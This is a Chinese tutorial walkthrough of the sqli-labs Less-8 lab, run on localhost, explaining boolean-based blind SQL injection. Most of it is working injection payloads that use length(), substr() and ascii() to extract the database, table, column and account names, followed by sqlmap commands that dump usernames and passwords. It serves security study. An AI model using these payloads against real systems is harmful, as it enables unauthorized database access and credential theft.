1. 思路🚀
本关的SQL语句为:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 注入类型:字符串型(单引号包裹)
- 提示:参数id需以
'
闭合
同样无法像常规一样回显,php
输出语句的代码如下:
if($row)
{echo '<font size="5" color="#FFFF00">'; echo 'You are in...........';echo "<br>";echo "</font>";
}
对于无回显的情况,我们会想到下面的3种盲注,本题选择布尔盲注:
- 布尔盲注:逻辑判断✅
- 时间盲注:延时判断
- 报错盲注:报错回显
布尔盲注是通过逻辑判断并一步步排查出数据信息,这是种费力不讨好的方式。下面是我整理的内容,了解一些函数,见一下sql语句长什么样子还是很有必要的。
2. 手工注入步骤🎯
我的地址栏是:http://localhost:8081/Less-8/
,只需要将下面的sql语句粘贴即可。
2.1. 正常请求⚡
?id=1
说明:测试回显情况
2.2. 判断字段数⚡
?id=1' order by 4 --+
order by 4
:探测字段数(报错说明字段数=3)
2.3. 排查数据库⚡
先排查数据库的长度,再排查数据库名字。数据库名字已知是:security
,刚开始时可以通过<=``>=
不等号进行大致范围的判断。
# 先查长度
?id=1' and length(database())=8 --+
# 再查名字
?id=1' and substr((database()),1,1)='s' --+
?id=1' and substr((database()),2,1)='e' --+
?id=1' and substr((database()),3,1)='c' --+
?id=1' and substr((database()),4,1)='u' --+
?id=1' and substr((database()),5,1)='r' --+
?id=1' and substr((database()),6,1)='i' --+
?id=1' and substr((database()),7,1)='t' --+
?id=1' and substr((database()),8,1)='y' --+
length
:获取字符串长度substr(str,m,n)
:根据参数截取字符串,str为字符串,m为起始索引,n为截取长度
也可以通过ascii()
对字符编码进行逻辑判断:
# e在ASCII表中的值为115
?id=1' and ascii(substr((database()),1,1))='115' --+
2.4. 排查表名⚡
需要注意的是表/字段的索引从0开始(limit x,1),字符串位置从1开始(substr(str,x,1))
# 查长度
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 3,1)=5 --+
# 查名字
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 1, 1)='u' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 2, 1)='s' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 3, 1)='e' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 4, 1)='r' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 5, 1)='s' --+
2.5. 排查字段⚡
我用sql语句查字段 ,依次显示:id
、username
、password
,但是索引映射:0→id
、1→password
、2→username
# 查长度
?id=1' and (select length(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1)=8 --+
# 查名字
?id=1' and substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 1, 1)='u' --+
?id=1' and substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 2, 1)='s' --+
?id=1' and substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 3, 1)='e' --+
?id=1' and substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 4, 1)='r' --+
?id=1' and substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 5, 1)='n' --+
?id=1' and substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 6, 1)='a' --+
?id=1' and substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 7, 1)='m' --+
?id=1' and substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 8, 1)='e' --+
2.6. 获取数据⚡
?id=1' and substr((select username from users limit 0,1), 1, 1)='D' --+
?id=1' and substr((select username from users limit 0,1), 2, 1)='u' --+
?id=1' and substr((select username from users limit 0,1), 3, 1)='m' --+
?id=1' and substr((select username from users limit 0,1), 4, 1)='b' --+
这是第一个用户的账号,以此类推,可以判断出第二个用户的账号,第一个用户的密码等等。
2.7. 参数汇总表⭐
参数 | 作用 | 示例 |
---|---|---|
' | 闭合符号 | id=1' |
--+ | 注释符 | --+ |
order by | 判断字段数 | order by 4 |
length | 获取长度 | length(database) |
substr | 截取子串 | substr(str,x,1) |
ascii | 字符编码 | ascii('e')='115' |
information_schema | 系统数据库 | from information_schema.tables |
table_schema | 数据库名称 | table_schema='security' |
table_name | 数据表名称 | table_name='users' |
column_name | 字段名称 | group_concat(column_name) |
3. SQLMap工具测试🎯
url
地址换成自己的,后面一定要加上id=1
,比如:http://localhost:8081/Less-8/?id=1
# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-8/?id=1" --batch# 爆数据库
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch
命令1截图:
命令5截图:
SQLMap参数表⭐
参数 | 功能 |
---|---|
--batch | 非交互模式 |
--dbs | 枚举数据库 |
-D | 指定数据库 |
-T | 指定表 |
-C | 指定列 |
--dump | 导出数据 |
4. 总结🏁
布尔盲注即便能解决无回显的情况,但是通过手工方式还是太繁琐太麻烦,可谓是吃力不讨好。不过往后都是通过sqlmap直接开扫,但是了解一下布尔盲注还是有必要的。
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗